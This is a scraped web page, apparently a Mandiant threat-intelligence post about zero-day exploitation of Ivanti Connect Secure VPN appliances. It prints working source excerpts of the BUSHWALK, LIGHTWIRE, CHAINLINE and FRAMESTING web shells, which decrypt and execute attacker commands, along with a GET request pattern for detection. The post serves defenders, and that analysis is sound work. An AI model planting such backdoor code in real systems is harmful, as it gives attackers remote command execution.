Validation</u></a>.<br><br></p> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table><colgroup><col><col></colgroup> <tbody> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">VID</strong></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Name</strong></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-938</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - UNC5221, CHAINLINE, Upload, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-939</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - FRAMESTING, Upload, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-940</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - WARPWIRE, Download, Variant #3</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-941</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Command and Control - WARPWIRE, DNS Query, Variant #3</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-942</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Command and Control - WARPWIRE, DNS Query, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-943</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - WARPWIRE, Download, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-944</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Command and Control - WARPWIRE, DNS Query, Variant #2</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-945</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - WARPWIRE, Download, Variant #2</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-946</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - UNC5221, WIREFIRE, Upload, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-947</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Malicious File Transfer - LIGHTWIRE, Upload, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-934</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Application Vulnerability - CVE-2024-21887, Command Injection, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-935</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Application Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A106-936</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Application Vulnerability - CVE-2024-21887, Command Injection, Variant #2</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></span></section><section class="kcBhad"><section class="Fabbec"><span class="WrMNjb">Posted in</span><ul class="FzXI4e"><li class="I4B51b"><a href="https://cloud.google.com/blog/topics/threat-intelligence" track-metadata-position="body"track-metadata-eventdetail="cloud.google.com/blog/topics/threat-intelligence"track-metadata-module="tag list"track-metadata-module_headline="posted in">Threat Intelligence</a></li></ul></section></section></div></div></div></div></div><section class="nRhiJb-DARUcf " track-metadata-module="related articles" track-metadata-module_headline="related articles"><div class="nRhiJb-DbgRPb-c5RTEf-ma6Yeb nRhiJb-DbgRPb-wNfPc-cGMI2b"><h5 class="Qwf2Db-MnozTc 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appliances.",[1706688000],"https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplif.max-2600x2600.png","https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation",[1711401043,930339000]],[["Mandiant "]],[null,"\u003cscript type\u003d\"application/ld+json\"\u003e{\"@context\":\"https://schema.org\",\"@type\":\"BlogPosting\",\"@id\":\"https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation\",\"headline\":\"Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation\",\"description\":\"Investigating broad zero-day exploitation of two high-impact vulnerabilities affecting Ivanti appliances.\",\"image\":\"https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplif.max-2600x2600.png\",\"author\":[{\"@type\":\"Person\",\"name\":\"Mandiant \",\"url\":\"\"}],\"datePublished\":\"2024-01-31\",\"publisher\":{\"@type\":\"Organization\",\"name\":\"Google Cloud\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https://www.gstatic.com/devrel-devsite/prod/v8bb8fa0afe9a8c3a776ebeb25d421bb443344d789b3607754dfabea418b8c4be/cloud/images/cloud-logo.svg\"}},\"url\":\"https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation\",\"keywords\":[\"Threat Intelligence\"],\"timeRequired\":\"PT39M\"}\u003c/script\u003e"],["Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation"],null,null,[[null,null,[null,[null,"\u003cp\u003eWritten by: Matt Lin, Robert Wallace, John Wolfram, Dimiter Andonov, Tyler Mclellan\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u00a0\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cp\u003eOn Jan. 12, 2024, Mandiant published a\u00a0\u003ca href\u003d\"https://cloud.google.com/blog/topics/threat-intelligence/suspected-apt-targets-ivanti-zero-day\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eblog post\u003c/u\u003e\u003c/a\u003e\u00a0detailing two high-impact zero-day vulnerabilities,\u00a0\u003ca href\u003d\"https://nvd.nist.gov/vuln/detail/CVE-2023-46805\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eCVE-2023-46805\u003c/u\u003e\u003c/a\u003e\u00a0and\u00a0\u003ca href\u003d\"https://nvd.nist.gov/vuln/detail/CVE-2024-21887\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eCVE-2024-21887\u003c/u\u003e\u003c/a\u003e, affecting Ivanti Connect Secure VPN (CS, formerly Pulse Secure) and Ivanti Policy Secure (PS) appliances. On Jan. 31, 2024, Ivanti\u00a0\u003ca href\u003d\"https://www.ivanti.com/blog/security-update-for-ivanti-connect-secure-and-ivanti-policy-secure-gateways\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003edisclosed\u003c/u\u003e\u003c/a\u003e\u00a0two additional vulnerabilities impacting CS and PS devices,\u00a0CVE-2024-21888 and CVE-2024-21893.\u003c/p\u003e\n\u003cp\u003eThe vulnerabilities allow for an unauthenticated threat actor to execute arbitrary commands on the appliance with elevated privileges. As previously reported, Mandiant has identified zero-day exploitation of these vulnerabilities in the wild beginning as early as Dec. 3, 2023 by a suspected China-nexus espionage threat actor currently being tracked as\u00a0\u003cu\u003eUNC5221\u003c/u\u003e.\u00a0\u003c/p\u003e\n\u003cp\u003eMandiant has identified broad exploitation activity following the disclosure of the two vulnerabilities, both by UNC5221 and other uncategorized threat groups. Mandiant assesses that a significant portion of the post-advisory activity has been performed through automated methods.\u003c/p\u003e\n\u003cp\u003eIn this follow-up blog post, we detail additional tactics, techniques, and procedures (TTPs) employed by UNC5221 and other threat groups during post-exploitation activity across our incident response engagements. We also detail new malware families and variants to previously identified malware families being used by UNC5221. We acknowledge the possibility that one or more related groups may be associated with the activity described in this blog post. It is likely that additional groups beyond UNC5221 have adopted one or more of these tools.\u003c/p\u003e\n\u003cp\u003eThese observations have been supported through Mandiant's incident response engagements, working with Ivanti, and our partners. Mandiant is also providing additional recommendations for network defenders, including indicators of compromise (IOCs), YARA rules, and a\u00a0\u003ca href\u003d\"https://services.google.com/fh/files/misc/ivanti-connect-secure-remediation-hardening.pdf\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003ehardening guide\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e\u00a0Ivanti has released its first round of patches starting today, and it is scheduled to continue rolling out additional patches over the coming weeks. Ivanti recommends customers awaiting patches to apply the\u00a0\u003ca href\u003d\"https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language\u003den_US\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003emitigation\u003c/u\u003e\u003c/a\u003e, run the external\u00a0\u003ca href\u003d\"https://forums.ivanti.com/s/article/KB44755?language\u003den_US\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eIntegrity Checker Tool\u003c/u\u003e\u003c/a\u003e\u00a0(ICT) to check for evidence of exploitation, and continue following the\u00a0\u003ca href\u003d\"https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language\u003den_US\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eKB article\u003c/u\u003e\u003c/a\u003e\u00a0to receive product updates as they become available.\u00a0\u003c/p\u003e\n\u003ch2\u003ePost Exploitation Activity Updates\u003c/h2\u003e\n\u003ch3\u003eMitigation Bypass\u003c/h3\u003e\n\u003cp\u003eA mitigation bypass technique was recently identified that led to the deployment of a custom webshell tracked as\u00a0\u003cu\u003eBUSHWALK\u003c/u\u003e. Successful exploitation would bypass the initial mitigation provided by Ivanti on Jan. 10, 2024. At this time, Mandiant assesses the mitigation bypass activity is highly targeted, limited, and is distinct from the post-advisory mass exploitation activity.\u00a0\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e\u00a0The external ICT successfully detected the presence of the new web shell. We have observed the threat actor clean up traces of their activity and restore the system to a clean state after deploying BUSHWALK through the mitigation bypass technique. The ICT is a snapshot of the current state of the appliance and cannot necessarily detect threat actor activity if they have returned the appliance to a clean state. In addition, the patches address and fix the mitigation bypass.\u003c/p\u003e\n\u003cp\u003eSimilar to other web shells observed in this campaign, BUSHWALK is written in Perl and is embedded into a legitimate CS file,\u00a0\u003ccode\u003equerymanifest.cgi\u003c/code\u003e. BUSHWALK provides a threat actor the ability to execute arbitrary commands or write files to a server.\u003c/p\u003e\n\u003cp\u003eBUSHWALK executes its malicious Perl function,\u00a0\u003ccode\u003evalidateVersion\u003c/code\u003e, if the web request\u00a0\u003ccode\u003eplatform\u003c/code\u003e\u00a0parameter is\u00a0\u003ccode\u003eSafariiOS\u003c/code\u003e. It uses Base64 and RC4 to decode and decrypt the threat actor\u2019s payload in the web request\u2019s\u00a0\u003ccode\u003ecommand\u003c/code\u003e\u00a0parameter.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003esub validateVersion {\r\n my ($rawdata) \u003d @_;\r\n if ($rawdata ne \u0026#39;\u0026#39;){\r\n $rawdata \u003d~ s/ /+/g;\r\n my $param0 \u003d MIME::Base64::decode($rawdata);\r\n my $key \u003d substr($param0, 0, 32);\r\n $key \u003d RC4(\u0026quot;\u0026lt;REDACTED\u0026gt;\u0026quot;, $key);\r\n my $data \u003d substr($param0,32);\r\n $data \u003d RC4($key, $data);\r\n my @param1 \u003d split(\u0026quot;@\u0026quot;,$data);\r\n my @action \u003d split(\u0026quot;\u003d\u0026quot;,$param1[0]);\r\n if ($action[1] eq \u0026#39;change\u0026#39;) {\r\n my $changeData \u003d (split(\u0026quot;\u003d\u0026quot;,$param1[1]))[1];\r\n changeVersion($changeData, $key);\r\n }\r\n elsif ($action[1] eq \u0026#39;update\u0026#39;){\r\n my $fname \u003d (split(\u0026quot;\u003d\u0026quot;,$param1[1]))[1];\r\n my $versionData \u003d (split(\u0026quot;#\u0026quot;,$param1[2]))[1];\r\n updateVersion($fname, $versionData);\r\n }\r\n else {\r\n print CGI::header(-type\u003d\u0026gt;\u0026quot;text/plain\u0026quot;, -status\u003d\u0026gt; \u0026#39;404 Not Found\u0026#39;);\r\n print \u0026quot;error\u0026quot;;\r\n }\r\n exit;\r\n }\r\n else{\r\n return;\r\n }\r\n}\u003c/code\u003e\u003c/pre\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 1: \u003cspan style\u003d\"vertical-align:baseline\"\u003eEntry point to BUSHWALK execution\u003c/span\u003e\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe decrypted payload determines if the web shell should execute a command or write a file to the server.\u003c/p\u003e\n\u003cp\u003eIf the decrypted payload contains\u00a0\u003ccode\u003echange\u003c/code\u003e, BUSHWALK calls the\u00a0\u003ccode\u003echangeData\u003c/code\u003e\u00a0function to execute an arbitrary command on the compromised appliance. The malware first extracts the command from the buffer. The malware then executes the command and encrypts the command results with RC4 using the provided key.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003esub changeVersion\r\n{\r\n my ($u_time,$key) \u003d @_;\r\n my $o_fd \u003d popen(*DUMP, $u_time, \u0026quot;r\u0026quot;);\r\n my $ts;\r\n print CGI::header();\t\r\n while(\u0026lt;DUMP\u0026gt;) {\r\n $ts \u003d $ts.$_;\r\n }\r\n $ts \u003d RC4($key, $ts);\r\n my $tsc \u003d MIME::Base64::encode_base64($ts);\r\n print $tsc;\r\n close(*DUMP);\r\n}\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 2: changeVersion function to read an arbitrary file\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eIf the decrypted payload contains\u00a0\u003ccode\u003eupdate\u003c/code\u003e, BUSHWALK calls the\u00a0\u003ccode\u003eupdateVersion\u003c/code\u003e\u00a0function to write an arbitrary file to the server. It extracts a file path and the data to write to the file from the buffer. This file data is then Base64-decoded and written to the file at the specified path.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003esub updateVersion\r\n{\r\n my ($fname, $strbuf) \u003d @_;\r\n $strbuf \u003d MIME::Base64::decode($strbuf);\r\n CORE::open(my $file, \u0026quot;\u0026gt;\u0026gt;\u0026quot;,$fname) or return undef;\r\n syswrite($file, $strbuf);\r\n close($file);\r\n print CGI::header();\r\n print \u0026quot;over\u0026quot;;\r\n}\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 3: updateVersion function to write an arbitrary file\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003ch3\u003eLIGHTWIRE Variant\u003c/h3\u003e\n\u003cp\u003eMandiant has identified an additional variant of the\u00a0\u003cu\u003eLIGHTWIRE\u003c/u\u003e\u00a0web shell that inserts itself into a legitimate component of the VPN gateway,\u00a0\u003ccode\u003ecompcheckresult.cgi\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe new sample utilizes the same GET parameters as the original LIGHTWIRE sample described in our first blog post. Mandiant recommends hunting for GET requests containing these parameters within available web logs, unallocated space, and memory images.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003e/dana-na/auth/url_default/compcheckresult.cgi?comp\u003dcomp\u0026amp;compid\u003d\u0026lt;obfuscat\r\ned command\u0026gt;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 4: LIGHTWIRE GET parameters\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe new variant of LIGHTWIRE features a different obfuscation routine. It first assigns a string scalar variable to\u00a0\u003ccode\u003e$useCompOnly\u003c/code\u003e. Next, it will use the Perl\u00a0\u003ccode\u003etr\u003c/code\u003e\u00a0operator to transform the string using a character-by-character translation. The key is then Base64-decoded and used to RC4 decrypt the incoming request. Finally, the issued command is executed by calling\u00a0\u003ccode\u003eeval\u003c/code\u003e.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003emy $useCompOnly \u003d \u0026quot;\u0026lt;REDACTED\u0026gt;\u0026quot;;\r\n$useCompOnly \u003d~ tr/\u0026lt;REDACTED\u0026gt;/\u0026lt;REDACTED\u0026gt;/;\r\neval{my $c\u003dCrypt::RC4-\u0026gt;new(decode_base64($useCompOnly));my \r\n$d\u003d$c-\u0026gt;RC4(decode_base64(CGI::param(\u0026#39;compid\u0026#39;)));eval $d;}or \r\ndo{$Main::remedy1 \u003d \u0026quot;Compatibility check: $@\u0026quot;;}\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 5: Newly identified LIGHTWIRE variant\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe original LIGHTWIRE sample detailed in our first blog post contains a simpler obfuscation routine. It will initialize an RC4 object and then immediately use the RC4 object to decrypt the issued command.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003eeval{my $c\u003dCrypt::RC4-\u0026gt;new(\u0026quot;\u0026lt;REDACTED\u0026gt;\u0026quot;);my \r\n$d\u003d$c-\u0026gt;RC4(decode_base64(CGI::param(\u0026#39;compid\u0026#39;)));eval $d;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 6: Original LIGHTWIRE sample\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003ch3\u003eCHAINLINE Web Shell\u003c/h3\u003e\n\u003cp\u003eAfter the initial exploitation of an appliance, Mandiant identified UNC5221 leveraging a custom web shell that Mandiant is tracking as\u00a0\u003cu\u003eCHAINLINE\u003c/u\u003e. CHAINLINE is a Python web shell backdoor that is embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.\u003c/p\u003e\n\u003cp\u003eCHAINLINE was identified in the CAV Python package in the following path:\u00a0\u003ccode\u003e/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py\u003c/code\u003e. This is the same Python package modified to support the WIREFIRE web shell.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003e#\r\n# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved\r\n#\r\nimport base64\r\n\r\nfrom flask_restful import Resource, reqparse\r\nfrom flask import request\r\nimport subprocess\r\n\r\nRC4_KEY \u003d \u0026quot;\u0026lt;REDACTED\u0026gt;\u0026quot;\r\n\r\n\r\ndef crypt(command: str):\r\n tmp \u003d list(command)\r\n for i in range(len(tmp)):\r\n tmp[i] \u003d chr(ord(tmp[i]) ^ ord(RC4_KEY[i % len(RC4_KEY)]))\r\n tmp \u003d \u0026quot;\u0026quot;.join(tmp)\r\n return tmp\r\n\r\n\r\nclass Health(Resource):\r\n def get(self):\r\n return {\u0026quot;message\u0026quot;: \u0026quot;method not allowed\u0026quot;}, 201\r\n\r\n def post(self):\r\n parser \u003d reqparse.RequestParser()\r\n parser.add_argument(\u0026#39;stats\u0026#39;, type\u003dstr)\r\n parser.add_argument(\u0026#39;rates\u0026#39;, type\u003dstr)\r\n args \u003d parser.parse_args()\r\n command: str \u003d args.stats\r\n command \u003d \r\ncrypt(base64.b64decode(command.encode(encoding\u003d\u0026quot;UTF-8\u0026quot;)).decode\r\n(encoding\u003d\u0026quot;UTF-8\u0026quot;))\r\n result \u003d subprocess.getoutput(command)\r\n result \u003d \r\nbase64.b64encode(crypt(result).encode(encoding\u003d\u0026quot;UTF-8\u0026quot;)).decode\r\n(encoding\u003d\u0026quot;UTF-8\u0026quot;)\r\n return {\u0026quot;message\u0026quot;: \u0026#39;ok\u0026#39;, \u0026quot;stats\u0026quot;: result}, 200\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 7: CHAINLINE web shell in health.py\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eUnlike WIREFIRE, which modifies an existing file, CHAINLINE creates a new file called\u00a0\u003ccode\u003ehealth.py\u003c/code\u003e, which is not a legitimate filename in the CAV Python package. The existence of this filename or an associated compiled Python cache file may indicate the presence of CHAINLINE.\u003c/p\u003e\n\u003cp\u003eUNC5221 registered a new API resource path to support the access of CHAINLINE at the REST endpoint\u00a0\u003ccode\u003e/api/v1/cav/client/health\u003c/code\u003e. This was accomplished by importing the maliciously created\u00a0\u003ccode\u003eHealth\u003c/code\u003e\u00a0API resource and then calling the\u00a0\u003ccode\u003eadd_resource()\u003c/code\u003e\u00a0class method on the FLASK-RESTful\u00a0\u003ccode\u003eApi\u003c/code\u003e\u00a0object within\u00a0\u003ccode\u003e/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/__init__.py\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eFigure 8 shows an excerpt of the relevant file modified to support CHAINLINE.\u003c/p\u003e"]]],[null,null,null,null,null,null,null,null,[[[null,"\u003cp\u003eFigure 8: Python CAV package modified to support CHAINLINE\u003c/p\u003e"],["https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1100x1100.png 1060w, https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png 1360w"," 1060px, 1360px","https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png"],null,3]]],[null,null,[null,[null,"\u003ch3\u003eFRAMESTING Web Shell\u003c/h3\u003e\n\u003cp\u003eMandiant has identified an additional web shell that we are tracking as\u00a0\u003cu\u003eFRAMESTING\u003c/u\u003e. FRAMESTING is a Python web shell embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003edef post(self):\r\n import zlib\r\n import simplejson as json\r\n try:\r\n dskey\u003d\u0026#39;\u0026lt;REDACTED\u0026gt;\u0026#39;\r\n dsid\u003drequest.cookies.get(\u0026#39;DSID\u0026#39;)\r\n data\u003dNone\r\n if dsid and len(dsid)\u0026gt;\u003d64:\r\n data\u003ddsid+\u0026#39;\u003d\u003d\u0026#39;\r\n else:\r\n data \u003d zlib.decompress(request.data)\r\n data\u003djson.loads(data).get(\u0026#39;data\u0026#39;)\r\n if data:\r\n import base64\r\n from Cryptodome.Cipher import AES\r\n if dskey not in globals():globals()[dskey]\u003d{}\r\n globals()[dskey].pop(\u0026#39;result\u0026#39;,None)\r\n aes\u003dAES.new(dskey.encode(), AES.MODE_ECB)\r\n result\u003d{\u0026#39;message\u0026#39;:\u0026#39;\u0026#39;,\u0026#39;action\u0026#39;:0}\r\n exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),\r\n{\u0026#39;request\u0026#39;:request,\u0026#39;cache\u0026#39;:globals()[dskey]},locals())\r\n result\u003dglobals()[dskey].get(\u0026#39;result\u0026#39;,result)\r\n return result, 200\r\n except:\r\n pass\u003c/code\u003e\u003c/pre\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 9:\u00a0category.py modified to handle POST requests for FRAMESTING\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cp\u003eFRAMESTING was identified in the CAV Python package in the following path:\u00a0\u003ccode\u003e/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py\u003c/code\u003e. Note that this is the same Python package modified to support the WIREFIRE and CHAINLINE web shells.\u003c/p\u003e\n\u003cp\u003eWhen installed, the threat actor can access FRAMESTING web shell at the REST endpoint\u00a0\u003ccode\u003e/api/v1/cav/client/categories\u003c/code\u003e\u00a0with a POST request. Note that the legitimate\u00a0\u003ccode\u003ecategories\u003c/code\u003e\u00a0endpoint only accepts GET requests.\u003c/p\u003e\n\u003cp\u003eThe web shell employs two methods of accepting commands from an attacker. It first attempts to retrieve the command stored in the value of a cookie named\u00a0\u003ccode\u003eDSID\u003c/code\u003e\u00a0from the current HTTP request. If the cookie is not present or is not of the expected length, it will attempt to decompress\u00a0\u003ccode\u003ezlib\u003c/code\u003e\u00a0data within the request's POST data. Lastly, FRAMESTING will then pass the decrypted POST data into a Python\u00a0\u003ccode\u003eexec()\u003c/code\u003e\u00a0statement to dynamically execute additional Python code.\u003c/p\u003e\n\u003cp\u003eNote that\u00a0\u003ccode\u003eDSID\u003c/code\u003e\u00a0is also the name of a cookie used by Ivanti Connect Secure appliances for maintaining user VPN sessions. FRAMESTING likely uses the same cookie name to blend in with network traffic.\u003c/p\u003e\n\u003ch3\u003eUpdates to ZIPLINE Analysis\u003c/h3\u003e\n\u003cp\u003eSince our previous blog post, Mandiant has completed additional analysis into the\u00a0\u003cu\u003eZIPLINE\u003c/u\u003e\u00a0passive backdoor. ZIPLINE makes use of extensive functionality to ensure the authentication of its custom protocol used to establish command and control (C2). This section covers the cryptographic, authentication, and data protocol leveraged by ZIPLINE.\u003c/p\u003e\n\u003ch4\u003eCryptography\u003c/h4\u003e\n\u003cp\u003eZIPLINE uses AES-128-CBC to encrypt data in both directions. The corresponding encryption and decryption keys are derived from key material sent by the server and combined with hard-coded data embedded in the malware. Once combined, the SHA1 hashing algorithm is used to produce a 20-byte long cryptographically strong array and the first 16 bytes of it are used as the AES-128 